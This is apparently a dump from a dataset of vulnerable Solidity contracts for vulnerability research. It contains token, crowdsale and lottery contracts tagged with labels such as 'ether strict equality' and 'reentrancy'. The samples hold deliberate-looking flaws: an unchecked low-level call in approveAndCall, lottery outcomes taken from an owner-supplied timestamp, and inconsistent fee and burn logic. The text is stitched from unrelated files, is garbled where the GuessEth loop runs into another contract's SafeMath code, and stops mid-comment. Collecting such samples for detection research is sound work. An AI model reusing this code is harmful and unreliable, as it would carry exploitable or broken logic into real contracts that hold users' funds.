totalUpgraded; /** * Upgrade states. * * - NotAllowed: The child contract has not reached a condition where the upgrade can bgun * - WaitingForAgent: Token allows upgrade, but we don't have a new agent yet * - ReadyToUpgrade: The agent is set, but not a single token has been upgraded yet * - Upgrading: Upgrade agent is set and the balance holders can upgrade their tokens * */ enum UpgradeState {Unknown, NotAllowed, WaitingForAgent, ReadyToUpgrade, Upgrading} /** * Somebody has upgraded some of his tokens. */ event Upgrade(address indexed _from, address indexed _to, uint256 _value); /** * New upgrade agent available. */ event UpgradeAgentSet(address agent); /** * Do not allow construction without upgrade master set. */ function UpgradeableToken(address _upgradeMaster) { upgradeMaster = _upgradeMaster; } /** * Allow the token holder to upgrade some of their tokens to a new contract. */ function upgrade(uint256 value) public { UpgradeState state = getUpgradeState(); if(!(state == UpgradeState.ReadyToUpgrade || state == UpgradeState.Upgrading)) { // Called in a bad state throw; } // Validate input value. if (value == 0) throw; balances[msg.sender] = safeSub(balances[msg.sender], value); // Take tokens out from circulation totalSupply = safeSub(totalSupply, value); totalUpgraded = safeAdd(totalUpgraded, value); // Upgrade agent reissues the tokens upgradeAgent.upgradeFrom(msg.sender, value); Upgrade(msg.sender, upgradeAgent, value); } /** * Set an upgrade agent that handles */ function setUpgradeAgent(address agent) external { if(!canUpgrade()) { // The token is not yet in a state that we could think upgrading throw; } if (agent == 0x0) throw; // Only a master can designate the next agent if (msg.sender != upgradeMaster) throw; // Upgrade has already begun for an agent if (getUpgradeState() == UpgradeState.Upgrading) throw; upgradeAgent = UpgradeAgent(agent); // Bad interface if(!upgradeAgent.isUpgradeAgent()) throw; // Make sure that token supplies match in source and target if (upgradeAgent.originalSupply() != totalSupply) throw; UpgradeAgentSet(upgradeAgent); } /** * Get the state of the token upgrade. */ function getUpgradeState() public constant returns(UpgradeState) { if(!canUpgrade()) return UpgradeState.NotAllowed; else if(address(upgradeAgent) == 0x00) return UpgradeState.WaitingForAgent; else if(totalUpgraded == 0) return UpgradeState.ReadyToUpgrade; else return UpgradeState.Upgrading; } /** * Change the upgrade master. * * This allows us to set a new owner for the upgrade mechanism. */ function setUpgradeMaster(address master) public { if (master == 0x0) throw; if (msg.sender != upgradeMaster) throw; upgradeMaster = master; } /** * Child contract can enable to provide the condition when the upgrade can begun. */ function canUpgrade() public constant returns(bool) { return true; } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Define interface for releasing the token transfer after a successful crowdsale. */ contract ReleasableToken is ERC20, Ownable { /* The finalizer contract that allows unlift the transfer limits on this token */ address public releaseAgent; /** A crowdsale contract can release us to the wild if ICO success. If false we are are in transfer lock up period.*/ bool public released = false; /** Map of agents that are allowed to transfer tokens regardless of the lock down period. These are crowdsale contracts and possible the team multisig itself. */ mapping (address => bool) public transferAgents; /** * Limit token transfer until the crowdsale is over. * */ modifier canTransfer(address _sender) { if(!released) { if(!transferAgents[_sender]) { throw; } } _; } /** * Set the contract that can call release and make the token transferable. * * Design choice. Allow reset the release agent to fix fat finger mistakes. */ function setReleaseAgent(address addr) onlyOwner inReleaseState(false) public { // We don't do interface check here as we might want to a normal wallet address to act as a release agent releaseAgent = addr; } /** * Owner can allow a particular address (a crowdsale contract) to transfer tokens despite the lock up period. */ function setTransferAgent(address addr, bool state) onlyOwner inReleaseState(false) public { transferAgents[addr] = state; } /** * One way function to release the tokens to the wild. * * Can be called only from the release agent that is the final ICO contract. It is only called if the crowdsale has been success (first milestone reached). */ function releaseTokenTransfer() public onlyReleaseAgent { released = true; } /** The function can be called only before or after the tokens have been releasesd */ modifier inReleaseState(bool releaseState) { if(releaseState != released) { throw; } _; } /** The function can be called only by a whitelisted release agent. */ modifier onlyReleaseAgent() { if(msg.sender != releaseAgent) { throw; } _; } function transfer(address _to, uint _value) canTransfer(msg.sender) returns (bool success) { // Call StandardToken.transfer() return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint _value) canTransfer(_from) returns (bool success) { // Call StandardToken.transferForm() return super.transferFrom(_from, _to, _value); } } /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * This smart contract code is Copyright 2017 TokenMarket Ltd. For more information see https://tokenmarket.net * * Licensed under the Apache License, version 2.0: https://github.com/TokenMarketNet/ico/blob/master/LICENSE.txt */ /** * Safe unsigned safe math. * * https://blog.aragon.one/library-driven-development-in-solidity-2bebcaf88736#.750gwtwli * * Originally from https://raw.githubusercontent.com/AragonOne/zeppelin-solidity/master/contracts/SafeMathLib.sol * * Maintained here until merged to mainline zeppelin-solidity. * */ library SafeMathLibExt { function times(uint a, uint b) returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function divides(uint a, uint b) returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function minus(uint a, uint b) returns (uint) { assert(b <= a); return a - b; } function plus(uint a, uint b) returns (uint) { uint c = a + b; assert(c>=a); return c; } } /** * A token that can increase its supply by another contract. * * This allows uncapped crowdsale by dynamically increasing the supply when money pours in. * Only mint agents, contracts whitelisted by owner, can mint new tokens. * */ contract MintableTokenExt is StandardToken, Ownable { using SafeMathLibExt for uint; bool public mintingFinished = false; /** List of agents that are allowed to create new tokens */ mapping (address => bool) public mintAgents; event MintingAgentChanged(address addr, bool state ); /** inPercentageUnit is percents of tokens multiplied to 10 up to percents decimals. * For example, for reserved tokens in percents 2.54% * inPercentageUnit = 254 * inPercentageDecimals = 2 */ struct ReservedTokensData { uint inTokens; uint inPercentageUnit; uint inPercentageDecimals; bool isReserved; bool isDistributed; } mapping (address => ReservedTokensData) public reservedTokensList; address[] public reservedTokensDestinations; uint public reservedTokensDestinationsLen = 0; bool reservedTokensDestinationsAreSet = false; modifier onlyMintAgent() { // Only crowdsale contracts are allowed to mint new tokens if(!mintAgents[msg.sender]) { throw; } _; } /** Make sure we are not done yet. */ modifier canMint() { if(mintingFinished) throw; _; } function finalizeReservedAddress(address addr) public onlyMintAgent canMint { ReservedTokensData storage reservedTokensData = reservedTokensList[addr]; reservedTokensData.isDistributed = true; } function isAddressReserved(address addr) public constant returns (bool isReserved) { return reservedTokensList[addr].isReserved; } function areTokensDistributedForAddress(address addr) public constant returns (bool isDistributed) { return reservedTokensList[addr].isDistributed; } function getReservedTokens(address addr) public constant returns (uint inTokens) { return reservedTokensList[addr].inTokens; } function getReservedPercentageUnit(address addr) public constant returns (uint inPercentageUnit) { return reservedTokensList[addr].inPercentageUnit; } function getReservedPercentageDecimals(address addr) public constant returns (uint inPercentageDecimals) { return reservedTokensList[addr].inPercentageDecimals; } function setReservedTokensListMultiple( address[] addrs, uint[] inTokens, uint[] inPercentageUnit, uint[] inPercentageDecimals ) public canMint onlyOwner { assert(!reservedTokensDestinationsAreSet); assert(addrs.length == inTokens.length); assert(inTokens.length == inPercentageUnit.length); assert(inPercentageUnit.length == inPercentageDecimals.length); for (uint iterator = 0; iterator < addrs.length; iterator++) { if (addrs[iterator] != address(0)) { setReservedTokensList(addrs[iterator], inTokens[iterator], inPercentageUnit[iterator], inPercentageDecimals[iterator]); } } reservedTokensDestinationsAreSet = true; } /** * Create new tokens and allocate them to an address.. * * Only callably by a crowdsale contract (mint agent). */ function mint(address receiver, uint amount) onlyMintAgent canMint public { totalSupply = totalSupply.plus(amount); balances[receiver] = balances[receiver].plus(amount); // This will make the mint transaction apper in EtherScan.io // We can remove this after there is a standardized minting event Transfer(0, receiver, amount); } /** * Owner can allow a crowdsale contract to mint new tokens. */ function setMintAgent(address addr, bool state) onlyOwner canMint public { mintAgents[addr] = state; MintingAgentChanged(addr, state); } function setReservedTokensList(address addr, uint inTokens, uint inPercentageUnit, uint inPercentageDecimals) private canMint onlyOwner { assert(addr != address(0)); if (!isAddressReserved(addr)) { reservedTokensDestinations.push(addr); reservedTokensDestinationsLen++; } reservedTokensList[addr] = ReservedTokensData({ inTokens: inTokens, inPercentageUnit: inPercentageUnit, inPercentageDecimals: inPercentageDecimals, isReserved: true, isDistributed: false }); } } /** * A crowdsaled token. * * An ERC-20 token designed specifically for crowdsales with investor protection and further development path. * * - The token transfer() is disabled until the crowdsale is over * - The token contract gives an opt-in upgrade path to a new contract * - The same token can be part of several crowdsales through approve() mechanism * - The token can be capped (supply set in the constructor) or uncapped (crowdsale contract can mint new tokens) * */ contract CrowdsaleTokenExt is ReleasableToken, MintableTokenExt, UpgradeableToken { /** Name and symbol were updated. */ event UpdatedTokenInformation(string newName, string newSymbol); event ClaimedTokens(address indexed _token, address indexed _controller, uint _amount); string public name; string public symbol; uint public decimals; /* Minimum ammount of tokens every buyer can buy. */ uint public minCap; /** * Construct the token. * * This token must be created through a team multisig wallet, so that it is owned by that wallet. * * @param _name Token name * @param _symbol Token symbol - should be all caps * @param _initialSupply How many tokens we start with * @param _decimals Number of decimal places * @param _mintable Are new tokens created over the crowdsale or do we distribute only the initial supply? Note that when the token becomes transferable the minting always ends. */ function CrowdsaleTokenExt(string _name, string _symbol, uint _initialSupply, uint _decimals, bool _mintable, uint _globalMinCap) UpgradeableToken(msg.sender) { // Create any address, can be transferred // to team multisig via changeOwner(), // also remember to call setUpgradeMaster() owner = msg.sender; name = _name; symbol = _symbol; totalSupply = _initialSupply; decimals = _decimals; minCap = _globalMinCap; // Create initially all balance on the team multisig balances[owner] = totalSupply; if(totalSupply > 0) { Minted(owner, totalSupply); } // No more new supply allowed after the token creation if(!_mintable) { mintingFinished = true; if(totalSupply == 0) { throw; // Cannot create a token without supply and no minting } } } /** * When token is released to be transferable, enforce no new tokens can be created. */ function releaseTokenTransfer() public onlyReleaseAgent { mintingFinished = true; super.releaseTokenTransfer(); } /** * Allow upgrade agent functionality kick in only if the crowdsale was success. */ function canUpgrade() public constant returns(bool) { return released && super.canUpgrade(); } /** * Owner can update token information here. * * It is often useful to conceal the actual token association, until * the token operations, like central issuance or reissuance have been completed. * * This function allows the token owner to rename the token after the operations * have been completed and then point the audience to use the token contract. */ function setTokenInformation(string _name, string _symbol) onlyOwner { name = _name; symbol = _symbol; UpdatedTokenInformation(name, symbol); } /** * Claim tokens that were accidentally sent to this contract. * * @param _token The address of the token contract that you want to recover. */ function claimTokens(address _token) public onlyOwner { require(_token != address(0)); ERC20 token = ERC20(_token); uint balance = token.balanceOf(this); token.transfer(owner, balance); ClaimedTokens(_token, owner, balance); } }",./Dataset/ether strict equality (SE),3,3 33041.sol,"pragma solidity ^0.4.13; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply); /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed from, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function onePercent(uint256 a) internal constant returns (uint256){ return div(a,uint256(100)); } function power(uint256 a,uint256 b) internal constant returns (uint256){ return mul(a,10**b); } } contract StandardToken is Token { using SafeMath for uint256; uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. mapping(address=>bool) internal withoutFee; uint256 internal maxFee; function transfer(address _to, uint256 _value) returns (bool success) { uint256 fee=getFee(_value); if (balances[msg.sender].add(fee) >= _value && _value > 0) { //Do Transfer doTransfer(msg.sender,_to,_value,fee); return true; } else { return false; } } function getFee(uint256 _value) private returns (uint256){ uint256 onePercentOfValue=_value.onePercent(); uint256 fee=uint256(maxFee).power(decimals); // Check if 1% burn fee exceeds maxfee // If so then hard cap for burn fee is maxfee if (_value.add(onePercentOfValue) >= fee) { return fee; // If 1% burn fee is less than maxfee // then use 1% burn fee } if (_value.add(onePercentOfValue) < fee) { return onePercentOfValue; } } function doTransfer(address _from,address _to,uint256 _value,uint256 fee) internal { balances[_from] =balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); if(!withoutFee[_from]){ doBurn(msg.sender,fee); } } function doBurn(address _from,uint256 _value) private returns (bool success){ require(balanceOf(_from) >= _value); // Check if the sender has enough balances[_from] =balances[_from].sub(_value); // Subtract from the sender _totalSupply =_totalSupply.sub(_value); // Updates totalSupply Burn(_from, _value); return true; } function burn(address _from,uint256 _value) public returns (bool success) { return doBurn(_from,_value); } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { uint256 fee=getFee(_value); if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0 && balances[msg.sender]>fee) { doTransfer(_from,_to,_value,getFee(_value)); allowed[_from][msg.sender] =allowed[_from][msg.sender].sub(_value.add(fee)); Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function totalSupply() constant returns (uint totalSupply){ return _totalSupply; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public _totalSupply; } //name this contract whatever you'd like contract TestTokenTen is StandardToken { function () { //if ether is sent to this address, send it back. revert(); } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. address private _owner; // Fee info string public feeInfo = ""Each operation costs 1% of the transaction amount, but not more than 250 tokens.""; function TestTokenTen() { _totalSupply = 800000000000000000000000000;// Update total supply (100000 for example) _owner=msg.sender; balances[msg.sender] =_totalSupply; allocate(0x5feD3A18Df4ac9a1e6F767fB47889B04Ee4805f8,55); // Airdrop allocate(0x077C3f919130282001e88A5fDbA45aA0230a0190,20); // Seed allocate(0x7489D3112D515008ae61d8c5c08D788F90b66dd2,20); // Internal allocate(0x15D4EEB0a8b695d7a9A8B7eDBA94A1F65Be1aBE6,5); // Future Airdrop maxFee=250; // max fee for transfer name = ""TestToken10""; // Set the name for display purposes decimals = 18; // Amount of decimals for display purposes symbol = ""TT10""; // Set the symbol for display purposes } function allocate(address _address,uint256 percent) private{ uint256 bal=_totalSupply.onePercent().mul(percent); //balances[_address]=bal; withoutFee[_address]=true; doTransfer(msg.sender,_address,bal,0); } function addToWithoutFee(address _address) public { require(msg.sender==_owner); withoutFee[_address]=true; } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn't have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { revert(); } return true; } }",./Dataset/reentrancy (RE)/,5,5 2110.sol,"pragma solidity ^0.4.24; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } library utils{ function inArray(uint[] _arr,uint _val) internal pure returns(bool){ for(uint _i=0;_i< _arr.length;_i++){ if(_arr[_i]==_val){ return true; break; } } return false; } function inArray(address[] _arr,address _val) internal pure returns(bool){ for(uint _i=0;_i< _arr.length;_i++){ if(_arr[_i]==_val){ return true; break; } } return false; } } contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract GuessEthEvents{ event drawLog(uint,uint,uint); event guessEvt( address indexed playerAddr, uint[] numbers, uint amount ); event winnersEvt( uint blockNumber, address indexed playerAddr, uint amount, uint winAmount ); event withdrawEvt( address indexed to, uint256 value ); event drawEvt( uint indexed blocknumberr, uint number ); event sponseEvt( address indexed addr, uint amount ); event pauseGameEvt( bool pause ); event setOddsEvt( uint odds ); } contract GuessEth is Ownable,GuessEthEvents{ using SafeMath for uint; struct bnumber{ address addr; uint number; uint value; int8 result; uint prize; } mapping(uint => bnumber[]) public bets; mapping(uint => address) public betNumber; mapping(address => uint[]) private playerBetBNumber; struct winner{ bool result; uint prize; } mapping(uint => winner[]) private winners; mapping(uint => uint) private winResult; address private wallet1; address private wallet2; uint private predictBlockInterval=3; uint public odds=30; uint public blockInterval=500; uint public curOpenBNumber=0; uint public numberRange=100; bool public gamePaused=false; mapping(address => uint) Sponsors; uint public balanceOfSPS=0; address[] public SponsorAddresses; uint reservefund=30 ether; modifier isHuman() { address _addr = msg.sender; uint256 _codeLength; assembly {_codeLength := extcodesize(_addr)} require(_codeLength == 0, ""sorry humans only""); _; } constructor(address _wallet1,address _wallet2) public{ wallet1=_wallet1; wallet2=_wallet2; curOpenBNumber=blockInterval*(block.number.div(blockInterval)); } function pauseGame(bool _status) public onlyOwner returns(bool){ gamePaused=_status; emit pauseGameEvt(_status); } function setOdds(uint _odds) isHuman() public onlyOwner returns(bool){ odds = _odds; emit setOddsEvt(_odds); } function setReservefund(uint _reservefund) isHuman() public onlyOwner returns(bool){ reservefund = _reservefund * 1 ether; } function getTargetBNumber() view isHuman() public returns(uint){ uint n; n=blockInterval*(predictBlockInterval + block.number/blockInterval); return n; } function guess(uint[] _numbers) payable isHuman() public returns(uint){ require(msg.value >= _numbers.length * 0.05 ether); uint n=blockInterval*(predictBlockInterval + block.number/blockInterval); for(uint _i=0;_i < _numbers.length;_i++){ bnumber memory b; b.addr=msg.sender; b.number=_numbers[_i]; b.value=msg.value/_numbers.length; b.result=-1; bets[n].push(b); } if(utils.inArray(playerBetBNumber[msg.sender],n)==false){ playerBetBNumber[msg.sender].push(n); } emit guessEvt(msg.sender,_numbers, msg.value); return _numbers.length; } function getPlayerGuessNumbers() view public returns (uint[],uint[],uint256[],int8[],uint[]){ uint _c=0; uint _i=0; uint _j=0; uint _bnumber; uint limitRows=100; while(_i < playerBetBNumber[msg.sender].length){ _bnumber=playerBetBNumber[msg.sender][_i]; for(_j=0 ; _j < bets[_bnumber].length && _c < limitRows ; _j++){ if(msg.sender==bets[_bnumber][_j].addr){ _c++; } } _i++; } uint[] memory _blockNumbers=new uint[](_c); uint[] memory _numbers=new uint[](_c); uint[] memory _values=new uint[](_c); int8[] memory _result=new int8[](_c); uint[] memory _prize=new uint[](_c); if(_c<=0){ return(_blockNumbers,_numbers,_values,_result,_prize); } uint _count=0; for(_i=0 ; _i < playerBetBNumber[msg.sender].length ; _i++){ _bnumber=playerBetBNumber[msg.sender][_i]; for(_j=0 ; _j < bets[_bnumber].length && _count < limitRows ; _j++){ if(bets[_bnumber][_j].addr == msg.sender){ _blockNumbers[_count] = _bnumber; _numbers[_count] = bets[_bnumber][_j].number; _values[_count] = bets[_bnumber][_j].value; _result[_count] = bets[_bnumber][_j].result; _prize[_count] = bets[_bnumber][_j].prize; _count++; } } } return(_blockNumbers,_numbers,_values,_result,_prize); } function draw(uint _blockNumber,uint _blockTimestamp) public onlyOwner returns (uint){ require(block.number >= curOpenBNumber + blockInterval); curOpenBNumber=_blockNumber; uint result=_blockTimestamp % numberRange; winResult[_blockNumber]=result; for(uint _i=0;_i < bets[_blockNumber].length;_i++){ if(bets[_blockNumber][_i].number==result){ bets[_blockNumber][_i].result = 1; bets[_blockNumber][_i].prize = bets[_blockNumber][_i].value * odds; emit winnersEvt(_blockNumber,bets[_blockNumber][_i].addr,bets[_blockNumber][_i].value,bets[_blockNumber][_i].prize); withdraw(bets[_blockNumber][_i].addr,bets[_blockNumber][_i].prize); }else{ bets[_blockNumber][_i].result = 0; bets[_blockNumber][_i].prize = 0; } } emit drawEvt(_blockNumber,curOpenBNumber); return result; } function getWinners(uint _blockNumber) view public returns(address[],uint[]){ uint _count=winners[_blockNumber].length; address[] memory _addresses = new address[](_count); uint[] memory _prize = new uint[](_count); uint _i=0; for(_i=0;_i<_count;_i++){ _prize[_i] = winners[_blockNumber][_i].prize; } return (_addresses,_prize); } function getWinResults(uint _blockNumber) view public returns(uint){ return winResult[_blockNumber]; } function withdraw(address _to,uint amount) public onlyOwner returns(bool){ require(address(this).balance.sub(amount) > 0); _to.transfer(amount); emit withdrawEvt(_to,amount); return true; } function invest() isHuman payable public returns(uint){ require(msg.value >= 1 ether,""Minima amoun:1 ether""); Sponsors[msg.sender] = Sponsors[msg.sender].add(msg.value); balanceOfSPS = balanceOfSPS.add(msg.value); if(!utils.inArray(SponsorAddresses,msg.sender)){ SponsorAddresses.push(msg.sender); emit sponseEvt(msg.sender,msg.value); } return Sponsors[msg.sender]; } function distribute() public onlyOwner{ if(address(this).balance < reservefund){ return; } uint availableProfits=address(this).balance.sub(reservefund); uint prft1=availableProfits.mul(3 ether).div(10 ether); uint prft2=availableProfits.sub(prft1); uint _val=0; uint _i=0; for(_i=0;_i 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * ERC-20 standard token interface, as defined * here. */ contract Token { function totalSupply() constant returns (uint256 supply); function balanceOf(address _owner) constant returns (uint256 balance); function transfer(address _to, uint256 _value) returns (bool success); function transferFrom(address _from, address _to, uint256 _value) returns (bool success); function approve(address _spender, uint256 _value) returns (bool success); function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } /** * Abstract Token Smart Contract that could be used as a base contract for * ERC-20 token contracts. */ contract AbstractToken is Token, SafeMath { /** * Create new Abstract Token contract. */ function AbstractToken () { // Do nothing } /** * Get number of tokens currently belonging to given owner. * * @param _owner address to get number of tokens currently belonging to the * owner of * @return number of tokens currently belonging to the owner of given address */ function balanceOf(address _owner) constant returns (uint256 balance) { return accounts [_owner]; } /** * Transfer given number of tokens from message sender to given recipient. * * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transfer(address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (accounts [msg.sender] < _value) return false; if (_value > 0 && msg.sender != _to) { accounts [msg.sender] = safeSub (accounts [msg.sender], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer (msg.sender, _to, _value); return true; } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise * accounts [_to] + _value > accounts [_to] for overflow check * which is already in safeMath */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(_to != address(0)); if (allowances [_from][msg.sender] < _value) return false; if (accounts [_from] < _value) return false; if (_value > 0 && _from != _to) { allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value); accounts [_from] = safeSub (accounts [_from], _value); accounts [_to] = safeAdd (accounts [_to], _value); } emit Transfer(_from, _to, _value); return true; } /** * Allow given spender to transfer given number of tokens from message sender. * @param _spender address to allow the owner of to transfer tokens from message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { allowances [msg.sender][_spender] = _value; emit Approval (msg.sender, _spender, _value); return true; } /** * Tell how many tokens given spender is currently allowed to transfer from * given owner. * * @param _owner address to get number of tokens allowed to be transferred * from the owner of * @param _spender address to get number of tokens allowed to be transferred * by the owner of * @return number of tokens given spender is currently allowed to transfer * from given owner */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowances [_owner][_spender]; } /** * Mapping from addresses of token holders to the numbers of tokens belonging * to these token holders. */ mapping (address => uint256) accounts; /** * Mapping from addresses of token holders to the mapping of addresses of * spenders to the allowances set by these token holders to these spenders. */ mapping (address => mapping (address => uint256)) private allowances; } /** * HardyCorps smart contract. */ contract HDCToken is AbstractToken { /** * Maximum allowed number of tokens in circulation. * tokenSupply = tokensIActuallyWant * (10 ^ decimals) */ uint256 constant MAX_TOKEN_COUNT = 500000000 * (10**5); /** * Address of the owner of this smart contract. */ address private owner; /** * Frozen account list holder */ mapping (address => bool) private frozenAccount; /** * Current number of tokens in circulation. */ uint256 tokenCount = 0; /** * True if tokens transfers are currently frozen, false otherwise. */ bool frozen = false; /** * Create new token smart contract and make msg.sender the * owner of this smart contract. */ function HDCToken () { owner = msg.sender; } /** * Get total number of tokens in circulation. * * @return total number of tokens in circulation */ function totalSupply() constant returns (uint256 supply) { return tokenCount; } string constant public name = ""HardyCorps""; string constant public symbol = ""HDC""; uint8 constant public decimals = 5; /** * Transfer given number of tokens from message sender to given recipient. * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer to the owner of given address * @return true if tokens were transferred successfully, false otherwise */ function transfer(address _to, uint256 _value) returns (bool success) { require(!frozenAccount[msg.sender]); if (frozen) return false; else return AbstractToken.transfer (_to, _value); } /** * Transfer given number of tokens from given owner to given recipient. * * @param _from address to transfer tokens from the owner of * @param _to address to transfer tokens to the owner of * @param _value number of tokens to transfer from given owner to given * recipient * @return true if tokens were transferred successfully, false otherwise */ function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { require(!frozenAccount[_from]); if (frozen) return false; else return AbstractToken.transferFrom (_from, _to, _value); } /** * Change how many tokens given spender is allowed to transfer from message * spender. In order to prevent double spending of allowance, * To change the approve amount you first have to reduce the addresses` * allowance to zero by calling `approve(_spender, 0)` if it is not * already 0 to mitigate the race condition described here: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender address to allow the owner of to transfer tokens from * message sender * @param _value number of tokens to allow to transfer * @return true if token transfer was successfully approved, false otherwise */ function approve (address _spender, uint256 _value) returns (bool success) { require(allowance (msg.sender, _spender) == 0 || _value == 0); return AbstractToken.approve (_spender, _value); } /** * Create _value new tokens and give new created tokens to msg.sender. * May only be called by smart contract owner. * * @param _value number of tokens to create * @return true if tokens were created successfully, false otherwise */ function createTokens(uint256 _value) returns (bool success) { require (msg.sender == owner); if (_value > 0) { if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false; accounts [msg.sender] = safeAdd (accounts [msg.sender], _value); tokenCount = safeAdd (tokenCount, _value); // adding transfer event and _from address as null address emit Transfer(0x0, msg.sender, _value); return true; } return false; } /** * Set new owner for the smart contract. * May only be called by smart contract owner. * * @param _newOwner address of new owner of the smart contract */ function setOwner(address _newOwner) { require (msg.sender == owner); owner = _newOwner; } /** * Freeze ALL token transfers. * May only be called by smart contract owner. */ function freezeTransfers () { require (msg.sender == owner); if (!frozen) { frozen = true; emit Freeze (); } } /** * Unfreeze ALL token transfers. * May only be called by smart contract owner. */ function unfreezeTransfers () { require (msg.sender == owner); if (frozen) { frozen = false; emit Unfreeze (); } } /*A user is able to unintentionally send tokens to a contract * and if the contract is not prepared to refund them they will get stuck in the contract. * The same issue used to happen for Ether too but new Solidity versions added the payable modifier to * prevent unintended Ether transfers. However, there’s no such mechanism for token transfers. * so the below function is created */ function refundTokens(address _token, address _refund, uint256 _value) { require (msg.sender == owner); require(_token != address(this)); AbstractToken token = AbstractToken(_token); token.transfer(_refund, _value); emit RefundTokens(_token, _refund, _value); } /** * Freeze specific account * May only be called by smart contract owner. */ function freezeAccount(address _target, bool freeze) { require (msg.sender == owner); require (msg.sender != _target); frozenAccount[_target] = freeze; emit FrozenFunds(_target, freeze); } /** * Logged when token transfers were frozen. */ event Freeze (); /** * Logged when token transfers were 